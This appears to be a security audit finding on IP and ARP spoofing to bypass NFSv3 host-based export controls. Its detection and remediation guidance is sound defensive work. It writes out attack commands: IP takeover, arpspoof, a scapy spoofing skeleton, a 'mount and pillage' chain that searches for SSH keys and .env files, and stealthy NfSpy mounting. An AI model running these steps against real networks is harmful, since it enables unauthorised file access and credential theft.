Skip to content

F-3.3: IP Spoofing Against Host-Based Access Controls

Classification

  • Severity: High
  • CVSS Vector: Network / Medium Complexity / No Auth Required
  • Affected Versions: NFSv2, NFSv3 (NFSv4 with AUTH_SYS)
  • RFC Reference: RFC 1813 (relies on host-based access control)
  • Prerequisite: Knowledge of allowed client IPs; same L2 segment or ability to route spoofed packets

Summary

NFSv3 access control relies primarily on the client's source IP address matching entries in the export list. Since NFS uses TCP (and sometimes UDP), an attacker who can spoof or assume an allowed IP address bypasses the export's host restrictions entirely. This is the only access control gate before AUTH_SYS hands the server a completely client-controlled UID/GID.

Technical detail

How host-based ACL works

/etc/exports:
/srv/data   192.168.1.10(rw) 192.168.1.20(ro)

Access flow: 1. Client connects from source IP 2. Server checks source IP against export list 3. If IP matches → grant access with specified options (rw/ro) 4. If IP doesn't match → deny mount

For hostname-based ACLs: 1. Server performs reverse DNS on client IP 2. Checks if resolved hostname matches export list 3. Vulnerable to DNS poisoning/spoofing

Attack vectors

Vector 1: IP takeover (same L2 segment)

If the attacker is on the same Layer 2 network:

# Assign yourself the allowed IP (if the legitimate host is offline)
ip addr add 192.168.1.10/24 dev eth0

# Or use ARP to claim the IP while legitimate host is online
arping -U -I eth0 192.168.1.10  # Gratuitous ARP

# Now mount normally
mount -t nfs target:/srv/data /mnt

Vector 2: ARP spoofing (MITM position)

# Intercept traffic for the allowed client
arpspoof -i eth0 -t target 192.168.1.10

# The NFS server now sees your MAC for the allowed IP
# Forward legitimate traffic while injecting your own NFS requests

Vector 3: UDP source IP spoofing

NFSv3 over UDP is trivially spoofable (no TCP handshake required):

from scapy.all import *

# Craft spoofed NFS GETATTR over UDP
ip = IP(src="192.168.1.10", dst="192.168.1.1")  # Spoof allowed client
udp = UDP(sport=800, dport=2049)
# ... RPC/NFS payload ...

send(ip/udp/nfs_payload)
# Response goes to 192.168.1.10 (not us) — need to be on the path to capture it

Vector 4: DNS spoofing (hostname ACLs)

# If export uses hostname:
# /srv/data  workstation.internal(rw)

# Poison DNS to resolve your IP as "workstation.internal"
# Or compromise the DNS server
# Or use DHCP to register your hostname

# Server does: gethostbyaddr(your_ip) -> if returns "workstation.internal" -> access granted

Vector 5: Decommissioned host IP reuse

# Scan for allowed IPs that are currently offline
showmount -e target
# /srv/data  10.0.0.50 10.0.0.51 10.0.0.52

nmap -sn 10.0.0.50-52
# 10.0.0.51 is down!

# Take its IP
ip addr add 10.0.0.51/24 dev eth0
mount -t nfs target:/srv/data /mnt

TCP-based NFS spoofing challenges

For NFSv3 over TCP, spoofing is harder but not impossible:

  1. Same L2: ARP spoofing makes TCP trivial (you control the MAC)
  2. Blind TCP spoofing: Requires guessing ISN (impractical on modern systems)
  3. BGP hijacking: Route the allowed IP range through your AS (nation-state level)
  4. Source routing (deprecated but occasionally possible): Force packets through your host

Exploitation

Complete attack: IP takeover + full access

# 1. Enumerate exports and allowed hosts
showmount -e target
# /home    workstation-1(rw)

# 2. Resolve hostname to IP
dig workstation-1.internal
# 192.168.1.50

# 3. Check if host is online
ping -c 2 192.168.1.50
# No response — host is down/decommissioned

# 4. Assume the IP
ip addr add 192.168.1.50/24 dev eth0

# 5. Optionally change hostname to match
hostname workstation-1

# 6. Mount and pillage
mount -t nfs -o vers=3 target:/home /mnt
find /mnt -name "id_rsa" -o -name "*.key" -o -name ".env"

Stealth: showmount hiding with NfSpy

# Mount with 'hide' option — immediately unmounts from server's perspective
# but keeps the file handle for continued access
nfspy -o server=target:/home,hide,allow_other,ro /mnt

# You won't appear in `showmount -a` output on the server

Impact

  • Complete bypass of the only access control mechanism in NFSv3
  • Invisible access: If spoofing a legitimate client's IP, traffic blends with normal operations
  • Write access: If the spoofed host has rw permissions
  • Chain with UID spoofing: Once past the IP check, full UID/GID spoofing is possible

Detection

  • ARP monitoring: arpwatch detects MAC/IP pairing changes
  • Switch port security: Locks MAC addresses to physical ports
  • showmount -a monitoring: Track unexpected mount events (but NfSpy's hide defeats this)
  • Network flow analysis: Detect NFS traffic from unexpected source IPs
  • 802.1X: Network access control prevents unauthorized devices

Remediation

  1. Use Kerberos — makes IP-based access control irrelevant (principal-based auth)

  2. Combine IP restrictions with network controls:

  3. 802.1X port authentication
  4. MAC address filtering on switches
  5. DHCP snooping + dynamic ARP inspection

  6. Avoid hostname-based ACLs — DNS is spoofable; use IPs

  7. Disable NFSv3 UDP — TCP is harder (not impossible) to spoof:

    # /etc/nfs.conf
    [nfsd]
    udp=n
    

  8. Use NFSv4 only — single port (2049), better integration with stronger auth

  9. Regular review of export lists — remove decommissioned hosts:

    # Check which allowed hosts are actually alive
    for host in $(grep -oP '[\d.]+' /etc/exports | sort -u); do
        ping -c1 -W1 $host >/dev/null 2>&1 || echo "DEAD: $host"
    done
    

  10. Network segmentation: Place NFS servers in isolated VLANs, route only from designated client subnets